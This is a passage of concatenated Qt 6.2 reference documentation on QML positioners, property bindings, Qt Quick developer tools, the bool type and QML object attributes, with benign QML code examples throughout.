                    width: 300; height: 50
                    Text { anchors.centerIn: parent
                           font.pointSize: 24; text: "Music" } }
        Rectangle { color: "lightgreen"; radius: 10.0
                    width: 300; height: 50
                    Text { anchors.centerIn: parent
                           font.pointSize: 24; text: "Movies" } }
    }
}
```
 Note that, since Column inherits directly from Item, any background color must be added to a parent Rectangle, if desired.

 ### Row Items

 
![]

 
[Row](qml-qtquick-row) items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded [Rectangle](qml-qtquick-rectangle) items in an area defined by an outer colored Rectangle. The [spacing](qml-qtquick-row#spacing-prop) property is set to include a small amount of space between the rectangles.

 We ensure that the parent Rectangle is large enough so that there is some space left around the edges of the horizontally centered Row item.

 
```
import QtQuick 2.0

Rectangle {
    width: 320; height: 110
    color: "#c0c0c0"

    Row {
        anchors.horizontalCenter: parent.horizontalCenter
        anchors.verticalCenter: parent.verticalCenter

        spacing: 5

        Rectangle { width: 100; height: 100; radius: 20.0
                    color: "#024c1c" }
        Rectangle { width: 100; height: 100; radius: 20.0
                    color: "#42a51c" }
        Rectangle { width: 100; height: 100; radius: 20.0
                    color: "white" }
    }
}
```
 ### Grid Items

 
![]

 
[Grid](qml-qtquick-grid) items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four [Rectangle](qml-qtquick-rectangle) items in a 2-by-2 grid. As with the other positioners, the spacing between items can be specified using the [spacing](qml-qtquick-grid#spacing-prop) property.

 
```
import QtQuick 2.0

Rectangle {
    width: 112; height: 112
    color: "#303030"

    Grid {
        anchors.horizontalCenter: parent.horizontalCenter
        anchors.verticalCenter: parent.verticalCenter
        columns: 2
        spacing: 6

        Rectangle { color: "#aa6666"; width: 50; height: 50 }
        Rectangle { color: "#aaaa66"; width: 50; height: 50 }
        Rectangle { color: "#9999aa"; width: 50; height: 50 }
        Rectangle { color: "#6666aa"; width: 50; height: 50 }
    }
}
```
 There is no difference between horizontal and vertical spacing inserted between items, so any additional space must be added within the items themselves.

 Any empty cells in the grid must be created by defining placeholder items at the appropriate places in the Grid definition.

 ### Flow Items

 
![]

 
[Flow](qml-qtquick-flow) items are used to place items like words on a page, with rows or columns of non-overlapping items.

 Flow items arrange items in a similar way to [Grid](qml-qtquick-grid) items, with items arranged in lines along one axis (the minor axis), and lines of items placed next to each other along another axis (the major axis). The direction of flow, as well as the spacing between items, are controlled by the [flow](qml-qtquick-flow#flow-prop) and [spacing](qml-qtquick-flow#spacing-prop) properties.

 The following example shows a Flow item containing a number of [Text](qml-qtquick-text) child items. These are arranged in a similar way to those shown in the screenshots.

 
```
import QtQuick 2.0

Rectangle {
    color: "lightblue"
    width: 300; height: 200

    Flow {
        anchors.fill: parent
        anchors.margins: 4
        spacing: 10

        Text { text: "Text"; font.pixelSize: 40 }
        Text { text: "items"; font.pixelSize: 40 }
        Text { text: "flowing"; font.pixelSize: 40 }
        Text { text: "inside"; font.pixelSize: 40 }
        Text { text: "a"; font.pixelSize: 40 }
        Text { text: "Flow"; font.pixelSize: 40 }
        Text { text: "item"; font.pixelSize: 40 }
    }
}
```
 The main differences between the Grid and Flow positioners are that items inside a Flow will wrap when they run out of space on the minor axis, and items on one line may not be aligned with items on another line if the items do not have uniform sizes. As with Grid items, there is no independent control of spacing between items and between lines of items.

 Other Ways to Position Items
----------------------------

 There are several other ways to position items in a user interface. In addition to the basic technique of specifying their coordinates directly, they can be positioned relative to other items with [anchors](qtquick-positioning-anchors), or used with [QML Data Models](qtquick-modelviewsdata-modelview#qml-data-models) such as [Object Model](qtquick-modelviewsdata-modelview#object-model).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-positioning-layouts.html>

Property Binding
================

 An object's property can be assigned a static value which stays constant until it is explicitly assigned a new value. However, to make the fullest use of QML and its built-in support for dynamic object behaviors, most QML objects use *property bindings*.

 Property bindings are a core feature of QML that lets developers specify relationships between different object properties. When a property's *dependencies* change in value, the property is automatically updated according to the specified relationship.

 Behind the scenes, the QML engine monitors the property's dependencies (that is, the variables in the binding expression). When a change is detected, the QML engine re-evaluates the binding expression and applies the new result to the property.

 Overview
--------

 To create a property binding, a property is assigned a JavaScript expression that evaluates to the desired value. At its simplest, a binding may be a reference to another property. Take the following example, where the blue [Rectangle](qml-qtquick-rectangle)'s height is bound to the height of its parent:

 
```
Rectangle {
    width: 200; height: 200

    Rectangle {
        width: 100
        height: parent.height
        color: "blue"
    }
}
```
 Whenever the height of the parent rectangle changes, the height of the blue rectangle automatically updates to be of the same value.

 A binding can contain any valid JavaScript expression or statement, as QML uses a standards compliant JavaScript engine. Bindings can access object properties, call methods and use built-in JavaScript objects such as `Date` and `Math`. Below are other possible bindings for the previous example:

 
```
height: parent.height / 2

height: Math.min(parent.width, parent.height)

height: parent.height > 100 ? parent.height : parent.height/2

height: {
    if (parent.height > 100)
        return parent.height
    else
        return parent.height / 2
}

height: someMethodThatReturnsHeight()
```
 Below is a more complex example involving more objects and types:

 
```
Column {
    id: column
    width: 200
    height: 200

    Rectangle {
        id: topRect
        width: Math.max(bottomRect.width, parent.width/2)
        height: (parent.height / 3) + 10
        color: "yellow"

        TextInput {
            id: myTextInput
            text: "Hello QML!"
        }
    }

    Rectangle {
        id: bottomRect
        width: 100
        height: 50
        color: myTextInput.text.length <= 10 ? "red" : "blue"
    }
}
```
 In the previous example,

 * `topRect.width` depends on `bottomRect.width` and `column.width`
* `topRect.height` depends on `column.height`
* `bottomRect.color` depends on `myTextInput.text.length`

 Syntactically, bindings are allowed to be of arbitrary complexity. However, if a binding is overly complex - such as involving multiple lines, or imperative loops - it could indicate that the binding is being used for more than describing property relationships. Complex bindings can reduce code performance, readability, and maintainability. It may be a good idea to redesign components that have complex bindings, or at least factor the binding out into a separate function. As a general rule, users should not rely on the evaluation order of bindings.

 Creating Property Bindings from JavaScript
------------------------------------------

 A property with a binding is automatically updated as necessary. However, if the property is later assigned a static value from a JavaScript statement, the binding will be removed.

 For example, the [Rectangle](qml-qtquick-rectangle) below initially ensures that its `height` is always twice its `width`. However, when the space key is pressed, the current value of `width*3` will be assigned to `height` as a *static* value. After that, *the `height` will remain fixed at this value, even if the `width` changes*. The assignment of the static value removes the binding.

 
```
import QtQuick 2.0

Rectangle {
    width: 100
    height: width * 2

    focus: true
    Keys.onSpacePressed: {
        height = width * 3
    }
}
```
 If the intention is to give the rectangle a fixed height and stop automatic updates, then this is not a problem. However, if the intention is to establish a new relationship between `width` and `height`, then the new binding expression must be wrapped in the Qt.binding() function instead:

 
```
import QtQuick 2.0

Rectangle {
    width: 100
    height: width * 2

    focus: true
    Keys.onSpacePressed: {
        height = Qt.binding(function() { return width * 3 })
    }
}
```
 Now, after the space key is pressed, the rectangle's height will continue auto-updating to always be three times its width.

 #### Debugging overwriting of bindings

 A common cause of bugs in QML applications is accidentally overwriting bindings with static values from JavaScript statements. To help developers track down problems of this kind, the QML engine is able to emit messages whenever a binding is lost due to imperative assignments.

 In order to generate such messages, you need to enable the informational output for the `qt.qml.binding.removal` logging category, for instance by calling:

 
```
QLoggingCategory::setFilterRules(QStringLiteral("qt.qml.binding.removal.info=true"));
```
 Please refer to the [QLoggingCategory](qloggingcategory) documentation for more information about enabling output from logging categories.

 Note that is perfectly reasonable in some circumstances to overwrite bindings. Any message generated by the QML engine should be treated as a diagnostic aid, and not necessarily as evidence of a problem without further investigation.

 ### Using `this` with Property Binding

 When creating a property binding from JavaScript, the `this` keyword can be used to refer to the object which receives the binding. This is helpful for resolving ambiguities with property names.

 For example, the `Component.onCompleted` handler below is defined within the scope of the [Item](qml-qtquick-item). In this scope, `width` refers to the [Item](qml-qtquick-item)'s width, not the [Rectangle](qml-qtquick-rectangle)'s width. To bind the [Rectangle](qml-qtquick-rectangle)'s `height` to its own `width`, the binding expression must explicitly refer to `this.width` (or alternatively, `rect.width`):

 
```
Item {
    width: 500
    height: 500

    Rectangle {
        id: rect
        width: 100
        color: "yellow"
    }

    Component.onCompleted: {
        rect.height = Qt.binding(function() { return this.width * 2 })
        console.log("rect.height = " + rect.height) // prints 200, not 1000
    }
}
```
  **Note:** The value of `this` is not defined outside of property bindings. See [JavaScript Environment Restrictions](qtqml-javascript-hostenvironment#javascript-environment-restrictions) for details.

  **See also** [Positioning with Anchors](qtquick-positioning-anchors).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-syntax-propertybinding.html>

Qt Quick Tools and Utilities
============================

 Qt offers several tools and utilities to enable a rich developer experience, especially for Qt Quick developers. The following sections provide a brief introduction to those tools and utilities, and provide links to further information about them.

 Qt Creator
----------

 The [Qt Creator](http://doc.qt.io/qtcreator/index.html) IDE is the key tool that enhances the overall developer experience of working with Qt and Qt Quick. Its editing, formatting, profiling and debugging features for Qt Quick make working with Qt Quick easier.

 Qt Design Studio
----------------

 [Qt Design Studio](qtquick-tools-and-utilities#qt-design-studio) enables designing Qt Quick-based UIs using simple drag-n-drop gestures that most designers are familiar with. It offers UI elements from the Qt Quick and Qt Quick Controls modules, as well as integration for custom UI elements.

 QML Debugger
------------

 The [QML debugger](qtquick-tools-and-utilities#qml-debugger) is a very useful utility that enables:

 * debugging JavaScript functions,
* executing JavaScript expressions,
* and inspecting QML properties.

 The QML debugger is part of both [Qt Creator](qtquick-tools-and-utilities#qt-creator) and [Qt Design Studio](qtquick-tools-and-utilities#qt-design-studio).

 QML Profiler
------------

 The [QML profiler](qtquick-tools-and-utilities#qml-profiler) enables you to get necessary diagnostic information, allowing you to analyze the application code for performance issues. For example, too much JavaScript in each frame, long-running C++ functions, and so on.

 The profiler is part of both [Qt Creator](qtquick-tools-and-utilities#qt-creator) and [Qt Design Studio](qtquick-tools-and-utilities#qt-design-studio).

 QmlLive
-------

 [QmlLive](qtquick-tools-and-utilities#qmllive) is a 3rd party tool that offers a QML runtime capable of rendering changes to the code in realtime. It avoids the need to rebuild the application after every code change and install it on the target device. You can also extend it to build a custom runtime that suits your needs.

 GammaRay
--------

 [GammaRay](qtquick-tools-and-utilities#gammaray) is a useful utility that provides diagnostic information about your application. It is similar to the QML Profiler described in the earlier section, but offers a lot more. For example, the number of items or QObjects created, function calls made, time taken by each function call, property value introspection at runtime, and so on. Such information is very handy, especially while debugging QML applications.

 Squish
------

 [Squish](qtquick-tools-and-utilities#squish) is a well-known testing tool that automates UI testing by recording your actions or running scripts. Once the tests are setup, UI tests are a lot easier to run.

 qmllint
-------

 [qmllint](qtquick-tool-qmllint) is a tool shipped with Qt, that verifies the syntatic validity of QML files. It also warns about some QML anti-patterns. If you want to disable a specific warning type, you can find the appropriate flag for doing so by passing `--help` on the command line.

 See the full documentation page of [qmllint](qtquick-tool-qmllint) for details.

 qmlformat
---------

 *qmlformat* is a tool that automatically formats QML files in accordance with the [QML Coding Conventions](qml-codingconventions).

 The tool groups all properties, functions, and signals together, instead of retaining the order you specified.

 Imports will also be sorted in alphabetical order. This can be disabled by specifying the `-n` flag.

 By default, qmlformat writes the formatted version of the file to stdout. If you wish to have your file updated in-place specify the `-i` flag.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-tools-and-utilities.html>

bool QML Basic Type
===================

 The `bool` type refers to a binary true/false value.

 Example:

 
```
Item {
    focus: true
    clip: false
}
```
 This basic type is provided by the QML language.

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-bool.html>

QML Object Attributes
=====================

 Every QML object type has a defined set of attributes. Each instance of an object type is created with the set of attributes that have been defined for that object type. There are several different kinds of attributes which can be specified, which are described below.

 Attributes in Object Declarations
---------------------------------

 An [object declaration](qtqml-syntax-basics#object-declarations) in a QML document defines a new type. It also declares an object hierarchy that will be instantiated should an instance of that newly defined type be created.

 The set of QML object-type attribute types is as follows:

 * the *id* attribute
* property attributes
* signal attributes
* signal handler attributes
* method attributes
* attached properties and attached signal handler attributes
* enumeration attributes

 These attributes are discussed in detail below.

 ### The *id* Attribute

 Every QML object type has exactly one *id* attribute. This attribute is provided by the language itself, and cannot be redefined or overridden by any QML object type.

 A value may be assigned to the *id* attribute of an object instance to allow that object to be identified and referred to by other objects. This `id` must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores.

 Below is a [TextInput](qml-qtquick-textinput) object and a [Text](qml-qtquick-text) object. The [TextInput](qml-qtquick-textinput) object's `id` value is set to "myTextInput". The [Text](qml-qtquick-text) object sets its `text` property to have the same value as the `text` property of the [TextInput](qml-qtquick-textinput), by referring to `myTextInput.text`. Now, both items will display the same text:

 
```
import QtQuick 2.0

Column {
    width: 200; height: 200

    TextInput { id: myTextInput; text: "Hello World" }

    Text { text: myTextInput.text }
}
```
 An object can be referred to by its `id` from anywhere within the *component scope* in which it is declared. Therefore, an `id` value must always be unique within its component scope. See [Scope and Naming Resolution](qtqml-documents-scope) for more information.

 Once an object instance is created, the value of its *id* attribute cannot be changed. While it may look like an ordinary property, the `id` attribute is **not** an ordinary `property` attribute, and special semantics apply to it; for example, it is not possible to access `myTextInput.id` in the above example.

 ### Property Attributes

 A property is an attribute of an object that can be assigned a static value or bound to a dynamic expression. A property's value can be read by other objects. Generally it can also be modified by another object, unless a particular QML type has explicitly disallowed this for a specific property.

 #### Defining Property Attributes

 A property may be defined for a type in C++ by registering a [Q\_PROPERTY](qobject#Q_PROPERTY) of a class which is then registered with the QML type system. Alternatively, a custom property of an object type may be defined in an object declaration in a QML document with the following syntax:

 
```
[default] [required] [readonly] property <propertyType> <propertyName>
```
 In this way an object declaration may [expose a particular value](qtqml-typesystem-objecttypes#defining-object-types-from-qml) to outside objects or maintain some internal state more easily.

 Property names must begin with a lower case letter and can only contain letters, numbers and underscores. [JavaScript reserved words](https://developer.mozilla.org/en/JavaScript/Reference/Reserved_Words) are not valid property names. The `default`, `required`, and `readonly` keywords are optional, and modify the semantics of the property being declared. See the upcoming sections on [default properties](qtqml-syntax-objectattributes#default-properties), [required properties](qtqml-syntax-objectattributes#required-properties) and, [read-only properties](qtqml-syntax-objectattributes#read-only-properties) for more information about their respective meaning.

 Declaring a custom property implicitly creates a value-change [signal](qtqml-syntax-objectattributes#signal-attributes) for that property, as well as an associated [signal handler](qtqml-syntax-objectattributes#signal-handler-attributes) called *on<PropertyName>Changed*, where *<PropertyName>* is the name of the property, with the first letter capitalized.

 For example, the following object declaration defines a new type which derives from the Rectangle base type. It has two new properties, with a [signal handler](qtqml-syntax-objectattributes#signal-handler-attributes) implemented for one of those new properties:

 
```
Rectangle {
    property color previousColor
    property color nextColor
    onNextColorChanged: console.log("The next color will be: " + nextColor.toString())
}
```
 ##### Valid Types in Custom Property Definitions

 Any of the [QML Basic Types](qtqml-typesystem-basictypes) aside from the [enumeration](qml-enumeration) type can be used as custom property types. For example, these are all valid property declarations:

 
```
Item {
    property int someNumber
    property string someString
    property url someUrl
}
```
 (Enumeration values are simply whole number values and can be referred to with the [int](qml-int) type instead.)

 Some basic types are provided by the `QtQuick` module and thus cannot be used as property types unless the module is imported. See the [QML Basic Types](qtqml-typesystem-basictypes) documentation for more details.

 Note the [var](qml-var) basic type is a generic placeholder type that can hold any type of value, including lists and objects:

 
```
property var someNumber: 1.5
property var someString: "abc"
property var someBool: true
property var someList: [1, 2, "three", "four"]
property var someObject: Rectangle { width: 100; height: 100; color: "red" }
```
 Additionally, any [QML object type](qtqml-typesystem-objecttypes) can be used as a property type. For example:

 
```
property Item someItem
property Rectangle someRectangle
```
 This applies to [custom QML types](qtqml-typesystem-objecttypes#defining-object-types-from-qml) as well. If a QML type was defined in a file named `ColorfulButton.qml` (in a directory which was then imported by the client), then a property of type `ColorfulButton` would also be valid.

 #### Assigning Values to Property Attributes

 The value of a property of an object instance may be specified in two separate ways:

 * a value assignment on initialization
* an imperative value assignment

 In either case, the value may be either a *static* value or a *binding expression* value.

 ##### Value Assignment on Initialization

 The syntax for assigning a value to a property on initialization is:

 
```
<propertyName> : <value>
```
 An initialization value assignment may be combined with a property definition in an object declaration, if desired. In that case, the syntax of the property definition becomes:

 
```
[default] property <propertyType> <propertyName> : <value>
```
 An example of property value initialization follows:

 
```
import QtQuick 2.0

Rectangle {
    color: "red"
    property color nextColor: "blue" // combined property declaration and initialization
}
```
 ##### Imperative Value Assignment

 An imperative value assignment is where a property value (either static value or binding expression) is assigned to a property from imperative JavaScript code. The syntax of an imperative value assignment is just the JavaScript assignment operator, as shown below:

 
```
[<objectId>.]<propertyName> = value
```
 An example of imperative value assignment follows:

 
```
import QtQuick 2.0

Rectangle {
    id: rect
    Component.onCompleted: {
        rect.color = "red"
    }
}
```
 #### Static Values and Binding Expression Values

 As previously noted, there are two kinds of values which may be assigned to a property: *static* values, and *binding expression* values. The latter are also known as [property bindings](qtqml-syntax-propertybinding).

 

| Kind | Semantics |
| --- | --- |
| Static Value | A constant value which does not depend on other properties. |
| Binding Expression | A JavaScript expression which describes a property's relationship with other properties. The variables in this expression are called the property's *dependencies*.The QML engine enforces the relationship between a property and its dependencies. When any of the dependencies change in value, the QML engine automatically re-evaluates the binding expression and assigns the new result to the property. |

 Here is an example that shows both kinds of values being assigned to properties:

 
```
import QtQuick 2.0

Rectangle {
    // both of these are static value assignments on initialization
    width: 400
    height: 200

    Rectangle {
        // both of these are binding expression value assignments on initialization
        width: parent.width / 2
        height: parent.height
    }
}
```
  **Note:** To assign a binding expression imperatively, the binding expression must be contained in a function that is passed into [Qt.binding](qml-qtqml-qt#binding-method)(), and then the value returned by Qt.binding() must be assigned to the property. In contrast, Qt.binding() must not be used when assigning a binding expression upon initialization. See [Property Binding](qtqml-syntax-propertybinding) for more information.

  #### Type Safety

 Properties are type safe. A property can only be assigned a value that matches the property type.

 For example, if a property is a real, and if you try to assign a string to it, you will get an error:

 
```
property int volume: "four"  // generates an error; the property's object will not be loaded
```
 Likewise if a property is assigned a value of the wrong type during run time, the new value will not be assigned, and an error will be generated.

 Some property types do not have a natural value representation, and for those property types the QML engine automatically performs string-to-typed-value conversion. So, for example, even though properties of the `color` type store colors and not strings, you are able to assign the string `"red"` to a color property, without an error being reported.

 See [QML Basic Types](qtqml-typesystem-basictypes) for a list of the types of properties that are supported by default. Additionally, any available [QML object type](qtqml-typesystem-objecttypes) may also be used as a property type.

 #### Special Property Types

 ##### Object List Property Attributes

 A [list](qml-list) type property can be assigned a list of QML object-type values. The syntax for defining an object list value is a comma-separated list surrounded by square brackets:

 
```
[ <item 1>, <item 2>, ... ]
```
 For example, the [Item](qml-qtquick-item) type has a [states](qml-qtquick-item#states-prop) property that is used to hold a list of [State](qml-qtquick-state) type objects. The code below initializes the value of this property to a list of three [State](qml-qtquick-state) objects:

 
```
import QtQuick 2.0

Item {
    states: [
        State { name: "loading" },
        State { name: "running" },
        State { name: "stopped" }
    ]
}
```
 If the list contains a single item, the square brackets may be omitted:

 
```
import QtQuick 2.0

Item {
    states: State { name: "running" }
}
```
 A [list](qml-list) type property may be specified in an object declaration with the following syntax:

 
```
[default] property list<<objectType>> propertyName
```
 and, like other property declarations, a property initialization may be combined with the property declaration with the following syntax:

 
```
[default] property list<<objectType>> propertyName: <value>
```
 An example of list property declaration follows:

 
```
import QtQuick 2.0

Rectangle {
    // declaration without initialization
    property list<Rectangle> siblingRects

    // declaration with initialization
    property list<Rectangle> childRects: [
        Rectangle { color: "red" },
        Rectangle { color: "blue"}
    ]
}
```
 If you wish to declare a property to store a list of values which are not necessarily QML object-type values, you should declare a [var](qml-var) property instead.

 ##### Grouped Properties

 In some cases properties contain a logical group of sub-property attributes. These sub-property attributes can be assigned to using either the dot notation or group notation.

 For example, the [Text](qml-qtquick-text) type has a [font](qml-qtquick-text#font.family-prop) group property. Below, the first [Text](qml-qtquick-text) object initializes its `font` values using dot notation, while the second uses group notation:

 
```
Text {
    //dot notation
    font.pixelSize: 12
    font.b: true
}

Text {
    //group notation
    font { pixelSize: 12; b: true }
}
```
 Grouped property types are basic types which have subproperties. Some of these basic types are provided by the QML language, while others may only be used if the Qt Quick module is imported. See the documentation about [QML Basic Types](qtqml-typesystem-basictypes) for more information.

 #### Property Aliases

 Property aliases are properties which hold a reference to another property. Unlike an ordinary property definition, which allocates a new, unique storage space for the property, a property alias connects the newly declared property (called the aliasing property) as a direct reference to an existing property (the aliased property).

 A property alias declaration looks like an ordinary property definition, except that it requires the `alias` keyword instead of a property type, and the right-hand-side of the property declaration must be a valid alias reference:

 
```
[default] property alias <name>: <alias reference>
```
 Unlike an ordinary property, an alias has the following restrictions:

 * It can only refer to an object, or the property of an object, that is within the scope of the [type](qtqml-typesystem-objecttypes) within which the alias is declared.
* It cannot contain arbitrary JavaScript expressions
* It cannot refer to objects declared outside of the scope of its type.
* The *alias reference* is not optional, unlike the optional default value for an ordinary property; the alias reference must be provided when the alias is first declared.
* It cannot refer to [attached properties](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers).
* It cannot refer to properties inside a hierarchy with depth 3 or greater. The following code will not work:
```
property alias color: myItem.myRect.border.color

Item {
    id: myItem
    property Rectangle myRect
}
```
 However, aliases to properties that are up to two levels deep will work.

 
```
property alias color: rectangle.border.color

Rectangle {
    id: rectangle
}
```

 For example, below is a `Button` type with a `buttonText` aliased property which is connected to the `text` object of the [Text](qml-qtquick-text) child:

 
```
// Button.qml
import QtQuick 2.0

Rectangle {
    property alias buttonText: textItem.text

    width: 100; height: 30; color: "yellow"

    Text { id: textItem }
}
```
 The following code would create a `Button` with a defined text string for the child [Text](qml-qtquick-text) object:

 
```
Button { buttonText: "Click Me" }
```
 Here, modifying `buttonText` directly modifies the textItem.text value; it does not change some other value that then updates textItem.text. If `buttonText` was not an alias, changing its value would not actually change the displayed text at all, as property bindings are not bi-directional: the `buttonText` value would have changed if textItem.text was changed, but not the other way around.

 ##### Considerations for Property Aliases

 Aliases are only activated once a component has been fully initialized. An error is generated when an uninitialized alias is referenced. Likewise, aliasing an aliasing property will also result in an error.

 
```
property alias widgetLabel: label

//will generate an error
//widgetLabel.text: "Initial text"

//will generate an error
//property alias widgetLabelText: widgetLabel.text

Component.onCompleted: widgetLabel.text = "Alias completed Initialization"
```
 When importing a [QML object type](qtqml-typesystem-objecttypes) with a property alias in the root object, however, the property appear as a regular Qt property and consequently can be used in alias references.

 It is possible for an aliasing property to have the same name as an existing property, effectively overwriting the existing property. For example, the following QML type has a `color` alias property, named the same as the built-in [Rectangle::color](qml-qtquick-rectangle#color-prop) property:

 
```
Rectangle {
    id: coloredrectangle
    property alias color: bluerectangle.color
    color: "red"

    Rectangle {
        id: bluerectangle
        color: "#1234ff"
    }

    Component.onCompleted: {
        console.log (coloredrectangle.color)    //prints "#1234ff"
        setInternalColor()
        console.log (coloredrectangle.color)    //prints "#111111"
        coloredrectangle.color = "#884646"
        console.log (coloredrectangle.color)    //prints #884646
    }

    //internal function that has access to internal properties
    function setInternalColor() {
        color = "#111111"
    }
}
```
 Any object that use this type and refer to its `color` property will be referring to the alias rather than the ordinary [Rectangle::color](qml-qtquick-rectangle#color-prop) property. Internally, however, the rectangle can correctly set its `color` property and refer to the actual defined property rather than the alias.

 ##### Property Aliases and Types

 Property aliases cannot have explicit type specifications. The type of a property alias is the *declared* type of the property or object it refers to. Therefore, if you create an alias to an object referenced via id with extra properties declared inline, the extra properties won't be accessible through the alias:

 
```
// MyItem.qml
Item {
    property alias inner: innerItem

    Item {
        id: innerItem
        property int extraProperty
    }
}
```
 You cannot initialize *inner.extraProperty* from outside of this component, as inner is only an *Item*:

 
```
// main.qml
MyItem {
    inner.extraProperty: 5 // fails
}
```
 However, if you extract the inner object into a separate component with a dedicated .qml file, you can instantiate that component instead and have all its properties available through the alias:

 
```
// MainItem.qml
Item {
    // Now you can access inner.extraProperty, as inner is now an ExtraItem
    property alias inner: innerItem

    ExtraItem {
        id: innerItem
    }
}

// ExtraItem.qml
Item {
    property int extraProperty
}
```
 #### Default Properties

 An object definition can have a single *default* property. A default property is the property to which a value is assigned if an object is declared within another object's definition without declaring it as a value for a particular property.

 Declaring a property with the optional `default` keyword marks it as the default property. For example, say there is a file MyLabel.qml with a default property `someText`:

 
```
// MyLabel.qml
import QtQuick 2.0

Text {
    default property var someText

    text: "Hello, " + someText.text
}
```
 The `someText` value could be assigned to in a `MyLabel` object definition, like this:

 
```
MyLabel {
    Text { text: "world!" }
}
```
 This has exactly the same effect as the following:

 
```
MyLabel {
    someText: Text { text: "world!" }
}
```
 However, since the `someText` property has been marked as the default property, it is not necessary to explicitly assign the [Text](qml-qtquick-text) object to this property.

 You will notice that child objects can be added to any [Item](qml-qtquick-item)-based type without explicitly adding them to the [children](qml-qtquick-item#children-prop) property. This is because the default property of [Item](qml-qtquick-item) is its `data` property, and any items added to this list for an [Item](qml-qtquick-item) are automatically added to its list of [children](qml-qtquick-item#children-prop).

 Default properties can be useful for reassigning the children of an item. See the [TabWidget Example](https://doc.qt.io/qt-6.2/qtquick-customitems-tabwidget-example.html), which uses a default property to automatically reassign children of the TabWidget as children of an inner [ListView](qml-qtquick-listview). See also [Extending QML](qtquick-codesamples#extending-qml).

 #### Required Properties

 An object declaration may define a property as required, using the `required` keyword. The syntax is

 
```
required property <propertyType> <propertyName>
```
 As the name suggests, required properties must be set when an instance of the object is created. Violation of this rule will result in QML applications not starting if it can be detected statically. In case of dynamically instantiated QML components (for instance via [Qt.createComponent](qml-qtqml-qt#createComponent-method)()), violating this rule results in a warning and a null return value.

 It's possible to make an existing property required with

 
```
required <propertyName>
```
 The following example shows how to create a custom Rectangle component, in which the color property always needs to be specified.

 
```
// ColorRectangle.qml
Rectangle {
    required color
}
```
  **Note:** You can't assign an initial value to a required property from QML, as that would go directly against the intended usage of required properties.

  Required properties play a special role in model-view-delegate code: If the delegate of a view has required properties whose names match with the role names of the view's model, then those properties will be initialized with the model's corresponding values. For more information, visit the [Models and Views in Qt Quick](qtquick-modelviewsdata-modelview) page.

 and {[QQuickView::setInitialProperties](qquickview#setInitialProperties)} for ways to initialize required properties from C++.

 #### Read-Only Properties

 An object declaration may define a read-only property using the `readonly` keyword, with the following syntax:

 
```
readonly property <propertyType> <propertyName> : <initialValue>
```
 Read-only properties must be assigned a value on initialization. After a read-only property is initialized, it no longer possible to give it a value, whether from imperative code or otherwise.

 For example, the code in the `Component.onCompleted` block below is invalid:

 
```
Item {
    readonly property int someNumber: 10

    Component.onCompleted: someNumber = 20  // doesn't work, causes an error
}
```
  **Note:** A read-only property cannot also be a [default](qtqml-syntax-objectattributes#default-properties) property.

  #### Property Modifier Objects

 Properties can have [property value modifier objects](qtqml-cppintegration-definetypes#property-modifier-types) associated with them. The syntax for declaring an instance of a property modifier type associated with a particular property is as follows:

 
```
<PropertyModifierTypeName> on <propertyName> {
    // attributes of the object instance
}
```
 This is commonly referred to as "on" syntax.

 It is important to note that the above syntax is in fact an [object declaration](qtqml-syntax-basics#object-declarations) which will instantiate an object which acts on a pre-existing property.

 Certain property modifier types may only be applicable to specific property types, however this is not enforced by the language. For example, the `NumberAnimation` type provided by `QtQuick` will only animate numeric-type (such as `int` or `real`) properties. Attempting to use a `NumberAnimation` with non-numeric property will not result in an error, however the non-numeric property will not be animated. The behavior of a property modifier type when associated with a particular property type is defined by its implementation.

 ### Signal Attributes

 A signal is a notification from an object that some event has occurred: for example, a property has changed, an animation has started or stopped, or when an image has been downloaded. The [MouseArea](qml-qtquick-mousearea) type, for example, has a [clicked](qml-qtquick-mousearea#clicked-signal) signal that is emitted when the user clicks within the mouse area.

 An object can be notified through a [signal handler](qtqml-syntax-objectattributes#signal-handler-attributes) whenever a particular signal is emitted. A signal handler is declared with the syntax *on<Signal>* where *<Signal>* is the name of the signal, with the first letter capitalized. The signal handler must be declared within the definition of the object that emits the signal, and the handler should contain the block of JavaScript code to be executed when the signal handler is invoked.

 For example, the *onClicked* signal handler below is declared within the [MouseArea](qml-qtquick-mousearea) object definition, and is invoked when the [MouseArea](qml-qtquick-mousearea) is clicked, causing a console message to be printed:

 
```
import QtQuick 2.0

Item {
    width: 100; height: 100

    MouseArea {
        anchors.fill: parent
        onClicked: {
            console.log("Click!")
        }
    }
}
```
 #### Defining Signal Attributes

 A signal may be defined for a type in C++ by registering a [Q\_SIGNAL](qobject#Q_SIGNAL) of a class which is then registered with the QML type system. Alternatively, a custom signal for an object type may be defined in an object declaration in a QML document with the following syntax:

 
```
signal <signalName>[([<type> <parameter name>[, ...]])]
```
 Attempting to declare two signals or methods with the same name in the same type block is an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.)

 Here are three examples of signal declarations:

 
```
import QtQuick 2.0

Item {
    signal clicked
    signal hovered()
    signal actionPerformed(string action, var actionResult)
}
```
 If the signal has no parameters, the "()" brackets are optional. If parameters are used, the parameter types must be declared, as for the `string` and `var` arguments for the `actionPerformed` signal above. The allowed parameter types are the same as those listed under [Defining Property Attributes](qtqml-syntax-objectattributes#defining-property-attributes) on this page.

 To emit a signal, invoke it as a method. Any relevant [signal handlers](qtqml-syntax-objectattributes#signal-handler-attributes) will be invoked when the signal is emitted, and handlers can use the defined signal argument names to access the respective arguments.

 #### Property Change Signals

 QML types also provide built-in *property change signals* that are emitted whenever a property value changes, as previously described in the section on [property attributes](qtqml-syntax-objectattributes#property-attributes). See the upcoming section on [property change signal handlers](qtqml-syntax-signals#property-change-signal-handlers) for more information about why these signals are useful, and how to use them.

 ### Signal Handler Attributes

